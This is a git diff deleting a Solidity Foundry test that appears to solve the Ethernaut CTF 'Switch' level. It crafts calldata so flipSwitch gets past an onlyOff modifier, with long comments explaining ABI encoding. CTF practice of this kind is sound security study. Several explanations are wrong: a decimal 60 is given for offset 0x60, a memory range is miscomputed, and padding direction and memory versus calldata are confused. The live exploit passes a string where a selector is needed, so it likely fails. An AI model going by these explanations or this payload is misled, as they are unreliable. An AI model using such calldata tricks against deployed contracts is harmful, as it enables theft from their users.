diff --git a/test/EthernautCTF/SwitchExploit.t.sol b/test/EthernautCTF/SwitchExploit.t.sol deleted file mode 100644 index 38c577d..0000000 --- a/test/EthernautCTF/SwitchExploit.t.sol +++ /dev/null @@ -1,144 +0,0 @@ -// SPDX-License-Identifier: GPL-3.0 -pragma solidity ^0.8.0; - -import '../../src/EthernautCTF/Switch.sol'; -import '@forge-std/Test.sol'; -import '@forge-std/console.sol'; - -contract SwitchExploit is Test { - Switch target; - address deployer = makeAddr('deployer'); - address exploiter = makeAddr('exploiter'); - - function setUp() public { - vm.startPrank(deployer); - target = new Switch(); - console.log('Target contract deployed'); - vm.stopPrank(); - } - - function testExploit() public { - assertFalse(target.switchOn()); - - // What is the contract storage layout? - // - slot 0: bool (1 byte) - // - slot 1: bytes4 (4 bytes) - - // How is calldata encoded? - // The first 4 bytes contain the function selector. - // The next 32 bytes contain the offset to the start of the first parameter data. - // The next 32 bytes contain the length of the first parameter (only for dynamic types like bytes). - vm.startPrank(exploiter); - bytes4 flipSwitchSelector = bytes4(keccak256('flipSwitch(bytes)')); - bytes4 offSelector = bytes4(keccak256('turnSwitchOff()')); - bytes4 onSelector = bytes4(keccak256('turnSwitchOn()')); - // bytes memory data = abi.encodeWithSelector( - // Switch.turnSwitchOn.selector, // turnOn selection selector - 4 bytes - // uint256(60), // offset - 32 bytes - // uint256(1), // length - 32 bytes - // Switch.turnSwitchOff.selector // turnOff selection selector - // ); - // console.log("data"); - // console.logBytes(data); - // target.flipSwitch(data); - - // How to exploit this contract? - // - Calling the `flipSwitch` method with the `turnSwitchOn` selector doesn't work because of - // the `onlyOff` modifier. - // - Calling the `flipSwitch` with the `turnSwitchOff` selector has no effect on the switch. - // - The only remaining option is to call the `flipSwitch` method with the `flipSwitch` selector - // and then craft a malicious calldata to trick the `onlyOff` modifier. - // - // 30c13ade // function selector of flipSwitch(bytes memory _data) - // 0000000000000000000000000000000000000000000000000000000000000060 // data location of bytes - // 0000000000000000000000000000000000000000000000000000000000000000 // length of the byte array - no matter the value - // 20606e1500000000000000000000000000000000000000000000000000000000 // left padded _data[0] => this should be equal to the `turnSwitchOff` selector and left-padded - // - // 20606e15 // function selector of turnSwitchOff - // 0000000000000000000000000000000000000000000000000000000000000004 // length of the byte array (4) - // 76227e1200000000000000000000000000000000000000000000000000000000 // `turnSwitchOn` selector, left-padded - bytes memory callData = abi.encodePacked( - abi.encodeWithSignature('flipSwitch(bytes)', 'turnSwitchOff()'), - abi.encodeWithSignature('turnSwitchOn()') - // bytes4(keccak256("flipSwitch(bytes)")), - // uint256(60), // data location of bytes - // uint256(0), // length of the byte array - no matter - // bytes4(keccak256("turnSwitchOff()")), - // uint256(4), // length - // bytes4(keccak256("turnSwitchOn()")) - ); - address(target).call(callData); - - // Let's take an example to understand how calldata is encoded. - // - function sam(bytes memory, bool, uint[] memory) public pure {} - // - with arguments: "dave", true and [1, 2, 3]. - // How is this function encoded? - // a5643bf2 - // 0000000000000000000000000000000000000000000000000000000000000060 - // 0000000000000000000000000000000000000000000000000000000000000001 - // 00000000000000000000000000000000000000000000000000000000000000a0 - // 0000000000000000000000000000000000000000000000000000000000000004 - // 6461766500000000000000000000000000000000000000000000000000000000 - // 0000000000000000000000000000000000000000000000000000000000000003 - // 0000000000000000000000000000000000000000000000000000000000000001 - // 0000000000000000000000000000000000000000000000000000000000000002 - // 0000000000000000000000000000000000000000000000000000000000000003 - // - // - 0xa5643bf2: function selector - // The function selector (4 bytes). - // - // - 0x0000000000000000000000000000000000000000000000000000000000000060 - // The location of the data of the first parameter because it is a dynamic type, bytes. - // In this case, it starts at 0x60, because it's where data is stored in memory when the - // memory is "empty". - // 32 bytes - // - // - 0x0000000000000000000000000000000000000000000000000000000000000001 - // The value of the second parameter, boolean. - // 32 bytes - // - // - 0x00000000000000000000000000000000000000000000000000000000000000a0 - // The location of the data of the third parameter because it is a dynamic type, uint[]. - // In this case, it starts at 0xa0. - // - // Why this offset? Let's check how the memory looks like when a method is called. - // [0x00:0x3f]: scratch space for hashing methods (2 x 32 bytes) - // [0x40:0x5f]: free memory pointer, initially pointing at 0x80 (32 bytes) - // Everything from 0x60 onwards is free to use. - // [0x60:0x60+0x1f] where 0x1f is equal to 31 - // [0x60+0x20:0x60+0x20+0x1f] where 0x20 is equal to 32 - // .... - // - // Now let's see how the different method parameters are stored in memory. - // - // The function takes a first parameter, bytes memory which is stored at offset 0x60 in memory. - // First, it will store the length of the byte array, here 4. - // [0x60:0x7f]: 0x0000000000000000000000000000000000000000000000000000000000000004 - // Second, it will store the value of the byte array, here "dave" (and padded to the right). - // [0x80:0x9f]: 0x6461766500000000000000000000000000000000000000000000000000000000 - // - // The function takes a second parameter, bool which is stored in the stack. - // The function takes a third parameter, uint[] memory, which is stored at offset 0xao in memory. - // First, it stores the length of the uint array, here 3. - // [0xa0:0xbf]: 0x0000000000000000000000000000000000000000000000000000000000000003 (3) - // Second, it stores the values of the array. - // [0xc0:0xdf]: 0x0000000000000000000000000000000000000000000000000000000000000001 (1) - // [0xe0:0xff]: 0x0000000000000000000000000000000000000000000000000000000000000002 (2) - // [0x10a:0x129]: 0x0000000000000000000000000000000000000000000000000000000000000003 (3) - // - // - 0x0000000000000000000000000000000000000000000000000000000000000004 - // The data of the first argument, which starts with the length of the byte array. - // - 0x6461766500000000000000000000000000000000000000000000000000000000 - // The value of the byte array, equal to "dave" and right-padded. - // - // - 0x0000000000000000000000000000000000000000000000000000000000000003 - // The data of the third argument, which starts with the length of the uint array. - // - 0x0000000000000000000000000000000000000000000000000000000000000001 - // - 0x0000000000000000000000000000000000000000000000000000000000000002 - // - 0x0000000000000000000000000000000000000000000000000000000000000003 - // The values of the uint array, equal to [1, 2, 3]. - vm.stopPrank(); - - assertTrue(target.switchOn()); - } -}